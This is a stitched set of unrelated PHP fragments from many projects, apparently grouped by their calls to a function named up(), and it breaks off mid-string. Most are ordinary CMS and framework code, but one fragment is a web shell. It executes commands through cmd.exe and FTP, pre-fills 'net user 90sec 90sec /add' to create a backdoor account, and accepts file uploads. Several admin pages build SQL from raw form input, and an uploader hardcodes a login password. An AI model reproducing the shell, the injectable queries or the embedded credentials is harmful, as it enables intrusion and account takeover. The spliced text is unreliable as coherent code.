function navi($kat) { global $db, $chkMe, $userid, $designpath; if ($k = _fetch(db("SELECT `level` FROM " . $db['navi_kats'] . " WHERE `placeholder` = '" . up($kat) . "'"))) { $intern = $chkMe >= 2 ? '' : " AND s1.`internal` = '0'"; $permissions = $kat == 'nav_admin' && admin_perms($userid) ? "" : $intern . " AND " . intval($chkMe) . " >= '" . intval($k['level']) . "'"; $qry = db("SELECT s1.* FROM " . $db['navi'] . " AS s1 LEFT JOIN " . $db['navi_kats'] . " AS s2 ON s1.kat = s2.placeholder\n WHERE s1.kat = '" . up($kat) . "' AND s1.`shown` = '1' " . $permissions . "\n ORDER BY s1.pos"); while ($get = _fetch($qry)) { if ($get['type'] == 0) { $link = ''; } elseif ($get['type'] == 1 || $get['type'] == 2 || $get['type'] == 3) { $name = $get['wichtig'] == 1 ? '<span class="fontWichtig">' . navi_name(re($get['name'])) . '</span>' : navi_name(re($get['name'])); $target = $get['target'] == 1 ? '_blank' : '_self'; if (file_exists($designpath . '/menu/' . $get['kat'] . '.html')) { $link = show("menu/" . $get['kat'] . "", array("target" => $target, "href" => re($get['url']), "title" => strip_tags($name), "css" => ucfirst(str_replace('nav_', '', re($get['kat']))), "link" => $name)); } else { $link = show("menu/nav_link", array("target" => $target, "href" => re($get['url']), "title" => strip_tags($name), "css" => ucfirst(str_replace('nav_', '', re($get['kat']))), "link" => $name)); } $table = strstr($link, '<tr>') ? true : false; } $navi .= $link; } } return empty($navi) ? '' : ($table ? '<table class="navContent" cellspacing="0">' . $navi . '</table>' : $navi); }
function upFirst($s, $separator = " ") { $words = explode($separator, $s); $ret = ""; foreach ($words as $key => $word) { $word[0] = up($word[0]); $ret .= $separator . $word; } return $ret; }
function execute() { $this->verbose = isset($this->params['verbose']); $this->out('[K]ick a certain number of jobs back into the ready queue.'); $action = $this->in('What would you like to do?', 'K'); switch (up($action)) { case 'K': $result = $this->Job->kick(array('bound' => $this->in('Number of jobs:', null, 100))); break; } $this->out($result ? 'OK' : 'FAILED'); }
function letter() { $letter = up($this->_arg('letter')); if (!$letter) { $this->Session->setFlash(sprintf(__('Invalid %s', true), __('letter', true)), 'default', array('class' => 'info')); $this->redirect(array('action' => 'index')); } $affiliate = $this->_arg('affiliate'); $affiliates = $this->_applicableAffiliateIDs(); $this->set(compact('letter', 'affiliates', 'affiliate')); $this->set('franchises', $this->Franchise->find('all', array('contain' => array('Person', 'Affiliate'), 'conditions' => array('Franchise.name LIKE' => "{$letter}%"), 'order' => array('Affiliate.name', 'Franchise.name')))); $this->set('letters', $this->Franchise->find('all', array('conditions' => array('Franchise.name LIKE' => "{$letter}%", 'Franchise.affiliate_id' => $affiliates), 'contain' => array('Affiliate'), 'fields' => array('DISTINCT SUBSTR(Franchise.name, 1, 1) AS letter'), 'order' => 'letter', 'group' => 'letter'))); }
/** * 変換する */ public function transform(DTO $in_data, DTO $out_data, Charcoal_Properties $options = NULL) { $options = up($options); // オプション $overwrite = $options && $options['overwrite'] === TRUE ? TRUE : FALSE; // コピー元のフィールド一覧を取得 $vars = get_object_vars($out_data); // フィールドごとにコピー foreach ($vars as $key => $value) { // 変換元の値がNULLなら更新しない if (!$overwrite && $value === NULL) { continue; } // そのままコピー $out_data->{$key} = $value; } return $out_data; }
function execute() { $this->out('Debug Worker'); $this->hr(); $tubes = 'default'; if ($this->args) { $tubes = array_shift($this->args); $this->interactive = false; } $this->tubes = explode(',', $this->in('Tubes to watch (separate with comma)', null, $tubes)); while (true) { $this->hr(); $this->out('Waiting for a job... STRG+C to abort'); $job = $this->Job->reserve(array('tube' => $this->tubes)); $this->out(''); $this->out('Got:'); $this->out(var_export($job, true)); $this->out(''); $this->out('[D]elete'); $this->out('[B]ury'); $this->out('[R]elease'); $this->out('[T]ouch'); $action = $this->in('What would you like to do?', 'D,B,R,T', 'D'); switch (up($action)) { case 'D': $result = $this->Job->delete(); break; case 'B': $result = $this->Job->bury(); break; case 'R': $result = $this->Job->release(); break; case 'T': $result = $this->Job->touch(); break; } $this->out($result ? 'OK' : 'FAILED'); if (low($this->in('Continue?', array('y', 'n'), 'y')) == 'n') { $this->_stop(); } } }
function beforeRender() { if (!isset($this->viewVars['data'])) { $this->set('data', $this->data); } if (!$this->_isRequestAction()) { if (!$this->menuItems) { $this->menuItems['Home'] = array('url' => '/'); if ($this->plugin) { $Human = Inflector::humanize($this->plugin); $this->menuItems[$Human]['url'] = '/' . $this->PluginName; $this->menuItems[$Human]['active'] = true; $FileList = listClasses(APP . "plugins" . DS . $this->plugin . DS . "controllers"); foreach ($FileList as $file) { $list = explode("_", $file); unset($list[count($list) - 1]); $controller = implode($list, "_"); if (up($controller) != up($this->plugin)) { $array = array("url" => '/' . $this->PluginName . '/' . Inflector::camelize($controller)); if (Inflector::underscore($this->name) == $controller) { $array['active'] = true; } $this->menuItems[Inflector::humanize($controller)] = $array; } } } else { $this->menuItems['Home']['active'] = true; uses('Folder'); $Folder = new Folder(APP . DS . "plugins"); list($Plugins) = $Folder->ls(); foreach ($Plugins as $Plugin) { $Camel = Inflector::Camelize($Plugin); $Human = Inflector::humanize($Plugin); $this->menuItems[$Human] = array('url' => '/' . $Camel); } } } $this->set('Menu', $this->menuItems); $this->set('javascripts', $this->javascripts); } }
$katimg = ""; } else { $katimg = "`katimg` = '" . up($_POST['img']) . "',"; } $tmpname = $_FILES['file']['tmp_name']; $name = $_FILES['file']['name']; $type = $_FILES['file']['type']; $size = $_FILES['file']['size']; $imageinfo = @getimagesize($tmpname); if (!$tmpname) { $qry = db("UPDATE " . $sql_prefix . "events_kat\n SET " . $katimg . "\n `name` = '" . up($_POST['kat']) . "'\n WHERE id = '" . intval($_GET['id']) . "'"); //bild kopieren $getrennt = explode('.', $_POST['img']); $getrennt = array_reverse($getrennt); $neuername = $_GET['id'] . '.' . $getrennt[0]; copy(basePath . "/inc/images/eventkat/" . $_POST['img'] . "", basePath . "/inc/images/eventkat/" . $neuername . ""); $show = info(_config_newskats_edited, "?admin=ev_kat"); } else { $katimg = "`katimg` = '" . $name . "',"; $qry = db("UPDATE " . $sql_prefix . "events_kat\n SET " . $katimg . "\n `name` = '" . up($_POST['kat']) . "'\n WHERE id = '" . intval($_GET['id']) . "'"); //bild hochladen und nach id bennen $getrennt = explode('.', $_FILES['file']['name']); $getrennt = array_reverse($getrennt); $neuername = $_GET['id'] . '.' . $getrennt[0]; copy($tmpname, basePath . "/inc/images/eventkat/" . $neuername . ""); @unlink($_FILES['file']['tmp_name']); $show = info(_config_newskats_edited, "?admin=ev_kat"); } } } }
/** * Creates a WHERE clause by parsing given conditions array. Used by DboSource::conditions(). * * @param array $conditions Array or string of conditions * @return string SQL fragment */ function conditionKeysToString($conditions, $quoteValues = true) { $c = 0; $data = $not = null; $out = array(); $bool = array('and', 'or', 'not', 'and not', 'or not', 'xor', '||', '&&'); $join = ' AND '; foreach ($conditions as $key => $value) { if (is_numeric($key) && empty($value)) { continue; } elseif (is_numeric($key) && is_string($value)) { $out[] = $not . $this->__quoteFields($value); } elseif (in_array(strtolower(trim($key)), $bool)) { $join = ' ' . strtoupper($key) . ' '; $value = $this->conditionKeysToString($value, $quoteValues); if (strpos($join, 'NOT') !== false) { if (up(trim($key)) == 'NOT') { $key = 'AND ' . $key; } $not = 'NOT '; } else { $not = null; } $out[] = $not . '((' . join(') ' . strtoupper($key) . ' (', $value) . '))'; } else { if (is_string($value) && preg_match('/^\\{\\$__cakeIdentifier\\[(.*)\\]__\\$}$/', $value, $identifier) && isset($identifier[1])) { $data .= $this->name($key) . ' = ' . $this->name($identifier[1]); } elseif (is_array($value) && !empty($value)) { $keys = array_keys($value); if ($keys[0] === 0) { $data = $this->name($key) . ' IN ('; if (strpos($value[0], '-!') === 0) { $value[0] = str_replace('-!', '', $value[0]); $data .= $value[0]; $data .= ')'; } else { if ($quoteValues) { foreach ($value as $valElement) { $data .= $this->value($valElement) . ', '; } } $data[strlen($data) - 2] = ')'; } } else { $ret = $this->conditionKeysToString($value, $quoteValues); if (count($ret) > 1) { $out[] = '(' . join(') AND (', $ret) . ')'; } elseif (isset($ret[0])) { $out[] = $ret[0]; } } } elseif (is_numeric($key) && !empty($value)) { $data = $this->__quoteFields($value); } elseif ($value === null || is_array($value) && empty($value)) { $data = $this->name($key) . ' IS NULL'; } elseif ($value === false || $value === true) { $data = $this->name($key) . " = " . $this->value($value, 'boolean'); } elseif ($value === '') { $data = $this->name($key) . " = ''"; } elseif (preg_match('/^([a-z]+\\([a-z0-9]*\\)\\x20+|(?:' . join('\\x20)|(?:', $this->__sqlOps) . '\\x20)|<[>=]?(?![^>]+>)\\x20?|[>=!]{1,3}(?!<)\\x20?)?(.*)/i', $value, $match)) { if (preg_match('/(\\x20[\\w]*\\x20)/', $key, $regs)) { $clause = $regs['1']; $key = preg_replace('/' . $regs['1'] . '/', '', $key); } $not = false; $mValue = trim($match['1']); if (empty($match['1'])) { $match['1'] = ' = '; } elseif (empty($mValue)) { $match['1'] = ' = '; $match['2'] = $match['0']; } elseif (!isset($match['2'])) { $match['1'] = ' = '; $match['2'] = $match['0']; } else { if (low($mValue) == 'not') { $not = $this->conditionKeysToString(array($mValue => array($key => $match[2])), $quoteValues); } } if ($not) { $data = $not[0]; } elseif (strpos($match['2'], '-!') === 0) { $match['2'] = str_replace('-!', '', $match['2']); $data = $this->name($key) . ' ' . $match['1'] . ' ' . $match['2']; } else { if (!empty($match['2']) && $quoteValues) { if (!preg_match('/[A-Za-z]+\\([a-z0-9]*\\),?\\x20+/', $match['2'])) { $match['2'] = $this->value($match['2']); } $match['2'] = str_replace(' AND ', "' AND '", $match['2']); } $data = $this->__quoteFields($key); if ($data === $key) { $data = $this->name($key) . ' ' . $match['1'] . ' ' . $match['2']; } else { $data = $data . ' ' . $match['1'] . ' ' . $match['2']; } } } if ($data != null) { $out[] = $data; $data = null; } } $c++; } return $out; }
} $show = show($dir . "/form_dl", array("admin_head" => _downloads_admin_head_edit, "ddownload" => re($get['download']), "durl" => re($get['url']), "file" => $dl, "lokal" => _downloads_lokal, "exist" => _downloads_exist, "nothing" => _nothing, "nofile" => _downloads_nofile, "oder" => _or, "dbeschreibung" => re_bbcode($get['beschreibung']), "kat" => _downloads_kat, "what" => _button_value_edit, "do" => "editdl&id=" . $_GET['id'] . "", "kats" => $kats, "url" => _downloads_url, "beschreibung" => _beschreibung, "download" => _downloads_name)); } elseif ($_GET['do'] == "editdl") { if (empty($_POST['download']) || empty($_POST['url'])) { if (empty($_POST['download'])) { $show = error(_downloads_empty_download, 1); } elseif (empty($_POST['url'])) { $show = error(_downloads_empty_url, 1); } } else { if (preg_match("#^www#i", $_POST['url'])) { $dl = links($_POST['url']); } else { $dl = up($_POST['url']); } $qry = db("UPDATE " . $db['downloads'] . "\n SET `download` = '" . up($_POST['download']) . "',\n `url` = '" . $dl . "',\n `beschreibung` = '" . up($_POST['beschreibung'], 1) . "',\n `date` = '" . (int) time() . "',\n `kat` = '" . (int) $_POST['kat'] . "'\n WHERE id = '" . intval($_GET['id']) . "'"); $show = info(_downloads_edited, "?admin=dladmin"); } } elseif ($_GET['do'] == "delete") { $qry = db("DELETE FROM " . $db['downloads'] . "\n WHERE id = '" . intval($_GET['id']) . "'"); $show = info(_downloads_deleted, "?admin=dladmin"); } else { $qry = db("SELECT * FROM " . $db['downloads'] . "\n ORDER BY id"); while ($get = _fetch($qry)) { $edit = show("page/button_edit_single", array("id" => $get['id'], "action" => "admin=dladmin&do=edit", "title" => _button_title_edit)); $delete = show("page/button_delete_single", array("id" => $get['id'], "action" => "admin=dladmin&do=delete", "title" => _button_title_del, "del" => convSpace(_confirm_del_dl))); $class = $color % 2 ? "contentMainSecond" : "contentMainFirst"; $color++; $show_ .= show($dir . "/downloads_show", array("id" => $get['id'], "dl" => re($get['download']), "class" => $class, "edit" => $edit, "delete" => $delete)); } $show = show($dir . "/downloads", array("head" => _dl, "date" => _datum, "titel" => _dl_file, "add" => _downloads_admin_head, "show" => $show_));
//////////////////// $del = db("DELETE FROM " . $db['squaduser'] . "\n WHERE user = '******'user']) . "'"); $del = db("DELETE FROM " . $db['userpos'] . "\n WHERE user = '******'user']) . "'"); $sq = db("SELECT * FROM " . $db['squads'] . ""); while ($getsq = _fetch($sq)) { if (isset($_POST['squad' . $getsq['id']])) { $qry = db("INSERT INTO " . $db['squaduser'] . "\n SET `user` = '" . (int) $_GET['user'] . "',\n `squad` = '" . (int) $_POST['squad' . $getsq['id']] . "'"); } if (isset($_POST['squad' . $getsq['id']])) { $qry = db("INSERT INTO " . $db['userpos'] . "\n SET `user` = '" . (int) $_GET['user'] . "',\n `posi` = '" . (int) $_POST['sqpos' . $getsq['id']] . "',\n `squad` = '" . (int) $getsq['id'] . "'"); } } if ($_POST['passwd']) { $newpwd = "`pwd` = '" . md5($_POST['passwd']) . "',"; } $qry = db("UPDATE " . $db['users'] . "\n SET " . $newpwd . "\n `nick` = '" . up($_POST['nick']) . "',\n `email` = '" . $_POST['email'] . "',\n `user` = '" . $_POST['loginname'] . "',\n `listck` = '" . (int) $_POST['listck'] . "',\n `level` = '" . (int) $_POST['level'] . "'\n WHERE id = '" . intval($_GET['user']) . "'"); $protocol = "upduser(" . $userid . "_" . intval($_GET['user']) . ")"; $upd = db("INSERT INTO " . $db['ipcheck'] . "\n SET `ip` = '" . $userip . "',\n `what` = '" . $protocol . "',\n `time` = '" . (int) time() . "'"); } $index = info(_admin_user_edited, "?action=userlist"); } elseif ($_GET['do'] == "updateme") { $del = db("DELETE FROM " . $db['squaduser'] . "\n WHERE user = '******'"); $del = db("DELETE FROM " . $db['userpos'] . "\n WHERE user = '******'"); $sq = db("SELECT * FROM " . $db['squads'] . ""); while ($getsq = _fetch($sq)) { if (isset($_POST['squad' . $getsq['id']])) { $qry = db("INSERT INTO " . $db['squaduser'] . "\n SET `user` = '" . (int) $userid . "',\n `squad` = '" . (int) $_POST['squad' . $getsq['id']] . "'"); } if (isset($_POST['squad' . $getsq['id']])) { $qry = db("INSERT INTO " . $db['userpos'] . "\n SET `user` = '" . (int) $userid . "',\n `posi` = '" . (int) $_POST['sqpos' . $getsq['id']] . "',\n `squad` = '" . (int) $getsq['id'] . "'"); }
$pieces2[] = $pieces[1]; // } //echo "\n"; $mx = max($f); // $ind = 0; $i = 0; // foreach ($pieces2 as $value) { //echo $value."\n"; if (strpos($value, $mx) !== false) { $ind = $i; } $i++; } $link = $r[$ind]; // try { include_once $link; if (up()) { if (Schema::existe(Config::get('database.migration'))) { Database::exec("update " . Config::get('database.migration') . " set status_schema='executed' where name_schema='" . $name . "' and date_schema='" . $time . "'"); } echo "Schéma executé"; } else { echo "Schema n'est pas executé" . Database::execErr(); } } catch (Exception $e) { echo $e->getMessage(); }
// ziskanie hodnoty premennej vyber $c = check_get($_GET[c]); // ziskanie hodnoty premennej vyber $id = check_get($_GET[id]); // ziskanie hodnoty premennej vyber $from = check_sql($from); // ziskanie hodnoty premennej vyber $c = check_sql($c); // ziskanie hodnoty premennej vyber $id = check_sql($id); // ziskanie hodnoty premennej vyber $actual_order = get_actual_order($from, $c, $id); $max_order = get_max_order($from, $c, $id); if ($order == "up") { if ($actual_order != 0) { up($from, $c, $id); } } if ($order == "down") { if ($actual_order != $max_order) { down($from, $c, $id); } } function get_actual_order($from, $c, $id) { $set = check_get($_GET[set]); $query = "SELECT {$c} FROM " . PREFIX . "{$from} WHERE id = '{$id}' LIMIT 1"; if ($set == "vyrobky") { $query = "SELECT druh FROM " . PREFIX . "{$from} WHERE id = '{$id}' LIMIT 1"; $lng_id_query = mysql_query($query, $GLOBALS["link"]) or die("" . $query . " <br> " . mysql_error($GLOBALS["link"])); $lng_id = mysql_fetch_assoc($lng_id_query);
$options = '<table width="200"><tr> <td><label><input type="radio" name="status" value="0" id="status_1" ' . $checked1 . '/>' . _jokes_inaktiv . '</label></td> </tr><tr> <td><label><input type="radio" name="status" value="1" id="status_2" ' . $checked2 . '/>' . _jokes_nextdate . '</label></td> </tr><tr> <td><label><input type="radio" name="status" value="2" id="status_3" checked="checked"/>' . _jokes_thisdate . '</label></td> </tr></table>'; $error = show("errors/errortable", array("error" => _jokes_date_forgiven)); $index = show($dir . "/form", array("head" => _joke_edit, "nautor" => _autor, "dropdown_date" => $dropdown_date, "autor" => autor($userid), "status" => _status, "options" => $options, "ntitel" => _titel, "titel" => re($_POST['titel']), "joketext" => re_bbcode($_POST['jokes']), "error" => $error, "lang" => $language, "button" => _button_value_add, "linkname" => _linkname)); //konende } else { $qry = db("INSERT INTO " . $sql_prefix . "jokes \n SET `uid` = '" . (int) $userid . "',\n `title` = '" . up($_POST['titel']) . "',\n `content` = '" . up($_POST['jokes'], 1) . "',\n\t\t\t\t\t\t `date` = '" . $date . "',\n `status` = '0'"); $text = show(_jokes_msg, array("title" => up($_POST['titel']), "id" => mysql_insert_id(), "content" => up($_POST['jokes'], 1), "nick" => autor($userid))); $qry = db("SELECT s1.id FROM " . $db['users'] . " AS s1\n LEFT JOIN " . $db['permissions'] . " AS s2\n ON s1.id = s2.user\n WHERE s2.jokes = '1' OR s1.`level` LIKE '4' GROUP BY s1.`id`"); while ($get = _fetch($qry)) { $qrys = db("INSERT INTO " . $db['msg'] . "\n SET `datum` = '" . (int) time() . "',\n `von` = '0',\n `an` = '" . (int) $get['id'] . "',\n `titel` = '" . _jokes_msg_title . "',\n `nachricht` = '" . up($text, 1) . "'"); } $index = info(_joke_added, "?action=danke"); } } break; //##################################################################################################### //##################################################################################################### case 'archiv': if (isset($_POST['monat'])) { $month = $_POST['monat']; } elseif (isset($_GET['m'])) { $month = $_GET['m']; } else { $month = date("m"); }
**/ # $uploader->login('your user', 'your pass'); break; case 'Picasa': /** * Picasa bắt buộc phải đăng nhập * AlbumID lấy ở link RSS trong album (ko biết thì tự tìm hiểu ở google) * Phần albumID có thể set 1 array('id1', 'id2'); Code sẽ tự động lấy ngẫu nhiên 1 album trong số đó để upload vào. * Nếu ko setAlbumID thì code sẽ up vào album default của picasa * Giới hạn upload ca Picasa xem tại đây: https://support.google.com/picasa/answer/43879?hl=vi * Nếu ko dùng AlbumID thì thêm dấu # ở trước */ $uploader->login('*****@*****.**', 'anhyeuem)*)!!((5'); #$uploader->setAlbumID('album id của bạn'); break; } if (!$imagePath) { die('Mising an image'); } $url = $uploader->upload($imagePath); if (file_exists($imagePath)) { unlink($imagePath); } if ($isUpload) { echo 'image=' . $url; } else { echo $url; } } up("http://phim-vn.com/upload/images/Ha-Noi-Em-Yeu-Anh.jpg", 800, 0);
public function _generateUrl($page = null, $pageDetails = null) { $pageDetails = $pageDetails ? $pageDetails : $this->_pageDetails; $getParams = $this->getParams; // Import any other pre-existing get parameters if ($this->_pageDetails['paramStyle'] == 'pretty') { $pageParams = $pageDetails['importParams']; } $pageParams['show'] = $pageDetails['show']; $pageParams['sortBy'] = $pageDetails['sortBy']; $pageParams['direction'] = $pageDetails['direction']; $pageParams['page'] = $page ? $page : $pageDetails['page']; if (isset($pageDetails['sortByClass'])) { $pageParams['sortByClass'] = $pageDetails['sortByClass']; } $getString = array(); $prettyString = array(); if ($pageDetails['paramStyle'] == 'get') { $getParams = am($getParams, $pageParams); } else { foreach ($pageParams as $key => $value) { if (isset($pageDetails['Defaults'][$key])) { if (up($pageDetails['Defaults'][$key]) != up($value)) { $prettyString[] = "{$key}{$pageDetails['paramSeperator']}{$value}"; } } else { $prettyString[] = "{$key}{$pageDetails['paramSeperator']}{$value}"; } } } foreach ($getParams as $key => $value) { if ($pageDetails['paramStyle'] == 'get') { if (isset($pageDetails['Defaults'][$key])) { if (up($pageDetails['Defaults'][$key]) != up($value)) { $getString[] = "{$key}={$value}"; } } else { $getString[] = "{$key}={$value}"; } } else { $getString[] = "{$key}={$value}"; } } //$url = $this->url; $url = '/'; $prettyString = $pageDetails['importParams']['route']; $prettyString['page'] = $page; if ($prettyString) { $prettyString = implode('/', $prettyString); $url .= $prettyString; } $getString = $pageDetails['importParams']['get']; if ($getString) { $getString = implode('&', $getString); $url .= '?' . $getString; } return $url; }
echo $_COOKIE['cmdpath'] == null ? 'c:\\windows\\system32\\cmd.exe' : $_COOKIE['cmdpath']; ?> ' size='55'></td></tr> <tr align='center' valign='middle'><td id=d>Command :</td><td id=d><input name='cmd' type='text' id='p' value='/c net user 90sec 90sec /add' size='55'></td></tr> <tr align='center' valign='middle'><td colspan='2' id=d><input type='submit' name='Submit' value='Execute'> <input type='reset' name='Submit2' value='Reset'></td></tr> </table></center></form><?php } $act = @$_GET['act']; if ($act == 'add') { setcookie('ftpuser', $_POST['user']); setcookie('ftppass', $_POST['pass']); setcookie('ftpport', $_POST['port']); $dir = str_replace('\\', '/', $_POST['dir']); echo '<center><p></p><p></p><p></p><B>命令回显:</b><b>点击进入第二步执行命令<a href="?act=do"><font color="red">Go Execute</font></a></b><br /><textarea cols="80" rows="15" readonly>' . "\r\n"; up($_POST['port'], $_POST['user'], $_POST['pass'], $dir, $_POST['suser'], $_POST['spass'], $_POST['sport']); echo '</textarea><br/><b>点击进入第二步执行命令<a href="?act=do"><font color="red">Go Execute</font></a></b></center>'; } if ($act == 'Execute') { $path = str_replace('\\', '/', $_POST['path']); echo '<center><p></p><p></p><p></p><B>命令回显:</b><br /><textarea cols="80" rows="15" readonly>' . "\r\n"; ftpcmd($_POST['port'], $_POST['user'], $_POST['pass'], $_POST['cmd'], $path); echo '</textarea></center>'; } if ($_POST['subfile']) { $upfile = $_POST['p'] . $_FILES['file']['name']; if (is_uploaded_file($_FILES['file']['tmp_name'])) { if (!move_uploaded_file($_FILES['file']['tmp_name'], $upfile)) { echo '<center><font color="red">上传失败</font></center>'; } else { setcookie('cmdpath', $upfile);
$show = error(_error_user_exists, 1); } elseif (_rows($check_nick)) { $show = error(_error_nick_exists, 1); } elseif (_rows($check_email)) { $show = error(_error_email_exists, 1); } else { if (empty($_POST['pwd'])) { $mkpwd = mkpwd(); } else { $mkpwd = $_POST['pwd']; } $pwd = md5($mkpwd); if ($_POST['t'] && $_POST['m'] && $_POST['j']) { $bday = cal($_POST['t']) . "." . cal($_POST['m']) . "." . $_POST['j']; } $qry = db("INSERT INTO " . $db['users'] . "\n\t\t\t\t\t\t\t SET `user` = '" . $_POST['user'] . "',\n\t\t\t\t\t\t\t\t `nick` = '" . $_POST['nick'] . "',\n\t\t\t\t\t\t\t\t `email` = '" . $_POST['email'] . "',\n\t\t\t\t\t\t\t\t `pwd` = '" . $pwd . "',\n\t\t\t\t\t\t\t\t `rlname` = '" . $_POST['rlname'] . "',\n\t\t\t\t\t\t\t\t `sex` = '" . (int) $_POST['sex'] . "',\n\t\t\t\t\t\t\t\t `bday` = '" . $bday . "',\n\t\t\t\t\t\t\t\t `city` = '" . $_POST['city'] . "',\n\t\t\t\t\t\t\t\t `country` = '" . $_POST['land'] . "',\n\t\t\t\t\t\t\t\t `regdatum` = '" . (int) time() . "',\n\t\t\t\t\t\t\t\t `level` = '" . (int) $_POST['level'] . "',\n\t\t\t\t\t\t\t\t `time` = '" . time() . "',\n\t\t\t\t\t\t\t\t `gmaps_koord` = '" . up($_POST['gmaps_koord']) . "',\n\t\t\t\t\t\t\t\t `status` = '1'"); $insert_id = mysql_insert_id(); $protocol = "createuser(" . $_SESSION['id'] . "_" . $insert_id . ")"; $upd = db("INSERT INTO " . $db['ipcheck'] . "\n SET `ip` = '" . $userip . "',\n `what` = '" . $protocol . "',\n `time` = '" . (int) time() . "'"); // permissions if (!empty($_POST['perm'])) { foreach ($_POST['perm'] as $v => $k) { $p .= "`" . substr($v, 2) . "` = '" . intval($k) . "',"; } if (!empty($p)) { $p = ', ' . substr($p, 0, strlen($p) - 1); } db("INSERT INTO " . $db['permissions'] . " SET `user` = '" . intval($insert_id) . "'" . $p); } //////////////////// // internal boardpermissions
function _generateUrl($page = NULL) { $getParams = $this->getParams; // Import any other pre-existing get parameters if ($this->_pageDetails['paramStyle'] == "pretty") { $pageParams = $this->_pageDetails['importParams']; } $pageParams['show'] = $this->_pageDetails['show']; $pageParams['sortBy'] = $this->_pageDetails['sortBy']; $pageParams['direction'] = $this->_pageDetails['direction']; $pageParams['page'] = $page ? $page : $this->_pageDetails['page']; if (isset($this->_pageDetails['sortByClass'])) { $pageParams['sortByClass'] = $this->_pageDetails['sortByClass']; } $getString = array(); $prettyString = array(); if ($this->_pageDetails['paramStyle'] == "get") { $getParams = am($getParams, $pageParams); } else { foreach ($pageParams as $key => $value) { if (isset($this->_pageDetails['Defaults'][$key])) { if (up($this->_pageDetails['Defaults'][$key]) != up($value)) { $prettyString[] = "{$key}{$this->_pageDetails['paramSeperator']}{$value}"; } } else { $prettyString[] = "{$key}{$this->_pageDetails['paramSeperator']}{$value}"; } } } foreach ($getParams as $key => $value) { if ($this->_pageDetails['paramStyle'] == "get") { if (isset($this->_pageDetails['Defaults'][$key])) { if (up($this->_pageDetails['Defaults'][$key]) != up($value)) { $getString[] = "{$key}={$value}"; } } else { $getString[] = "{$key}={$value}"; } } else { $getString[] = "{$key}={$value}"; } } $url = $this->url; if ($prettyString) { $prettyString = implode("/", $prettyString); $url .= $prettyString; } if ($getString) { $getString = implode("&", $getString); $url .= "?" . $getString; } return $url; }
/** * Cambia los campos que son traducibles en los conditions * ejemplo: si se envia como parametro en el conditions=>array(Model.nombre=>'value') y es un campo tradocuble lo cambiara a * Model__nombre__{locale} * * Nota 1: Esta funcion solo esta considerando el caso en que se envian los conditions como un array * y se use la notacion Modelo.campo * ejemplo:$query['conditions']=array('Model.campo'=>{valor},'Modelo.otro_campo'=>{valor}) * * Nota 2: Si el campo que se esta usando como condicional es del modelo actual entonces * agregara el campo a $query['fields'], si este es array lo agrega como un elemento mas del array * si es String lo concatena a $query['fields'], de lo contrario se espera que en el metodo unsetContain * se agreguen a $query['fields'] esots campos traducibles * * @param Model $model modelo que actua como este Behavior. * @param Model $order arreglo order del los contain o find. * @return array $order modificado * @access private */ function __changeConditions(&$conditions) { $_locale = Configure::read("I18n.Locale"); if (is_array($conditions)) { foreach ($conditions as $key => $value) { if (empty($value) && $value !== 0 && $value !== "0") { unset($conditions[$key]); } else { if (is_numeric($key) && is_array($value)) { $this->__changeConditions($conditions[$key]); } else { if (is_numeric($key) && is_string($value)) { $replacement = $this->__replaceFields($value); if ($replacement != $value && !empty($replacement)) { $conditions[$key] = $replacement; } } else { if (in_array(up($key), array('NOT', 'AND', 'XOR', 'OR'))) { $this->__changeConditions($conditions[$key]); } else { if (is_string($key)) { $replacement = $this->__replaceFields($key); if ($replacement != $key && !empty($replacement)) { $conditions[$replacement] = $value; unset($conditions[$key]); } } } } } } } } else { if (is_string($conditions)) { $replacement = $this->__replaceFields($conditions); if ($replacement != $conditions && !empty($replacement)) { $conditions = $replacement; } } } }
function update_mysql_1_5() { global $db; db("ALTER TABLE " . $db['f_threads'] . " ADD `vote` varchar(10) NOT NULL default '0'"); db("ALTER TABLE " . $db['votes'] . " ADD `forum` int(1) NOT NULL default '0'"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_fabo_npost_subj` varchar(200) NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_fabo_tedit_subj` varchar(200) NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_fabo_pedit_subj` varchar(200) NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_pn_subj` varchar(200) NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_fabo_npost` text NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_fabo_tedit` text NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_fabo_pedit` text NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `eml_pn` text NOT NULL"); db("ALTER TABLE " . $db['settings'] . " ADD `k_vwz` varchar(200) NOT NULL"); db("DROP TABLE IF EXISTS " . $db['f_abo'] . ""); db("CREATE TABLE " . $db['f_abo'] . " (\n `id` int(10) NOT NULL auto_increment,\n `fid` int(10) NOT NULL,\n `datum` int(20) NOT NULL,\n `user` int(5) NOT NULL,\n PRIMARY KEY (`id`)\n ) "); $eml_fabo_npost_subj = 'Neuer Beitrag auf abonniertes Thema im [titel]'; $eml_fabo_tedit_subj = 'Thread auf abonniertes Thema im [titel] wurde editiert'; $eml_fabo_pedit_subj = 'Beitrag auf abonniertes Thema im [titel] wurde editiert'; $eml_fabo_npost = "Hallo [nick],\r\n\r\n[postuser] hat auf das Thema: [topic] auf der Website: \"[titel]\" geantwortet.\r\n\r\nDen neuen Beitrag erreichst Du über folgenden Link:\r\n<a href=\"http://[domain]/forum/?action=showthread&id=[id]&page=[page]#p[entrys]\">http://[domain]/forum/?action=showthread&id=[id]&page=[page]#p[entrys]</a>\r\n\r\n[postuser] hat folgenden Text geschrieben:\r\n---------------------------------\r\n[text]\r\n---------------------------------\r\n\r\nViele Grüße,\r\n\r\nDein [clan]\r\n\r\n[ Diese Email wurde automatisch generiert, bitte nicht antworten! ]"; $eml_fabo_tedit = "Hallo [nick],\r\n\t\t \r\nDer Thread mit dem Titel: [topic] auf der Website: \"[titel]\" wurde soeben von [postuser] editiert.\r\n\r\nDen editierten Beitrag erreichst Du über folgenden Link:\r\n<a href=\"http://[domain]/forum/?action=showthread&id=[id]\">http://[domain]/forum/?action=showthread&id=[id]</a>\r\n\t\t \r\n[postuser] hat folgenden neuen Text geschrieben:\r\n---------------------------------\r\n[text]\r\n---------------------------------\r\n\t\t \r\nViele Grüße,\r\n\r\nDein [clan]\r\n\r\n[ Diese Email wurde automatisch generiert, bitte nicht antworten! ]"; $eml_fabo_pedit = "Hallo [nick],\r\n\r\nEin Beitrag im Thread mit dem Titel: [topic] auf der Website: \"[titel]\" wurde soeben von [postuser] editiert.\r\n\r\nDen 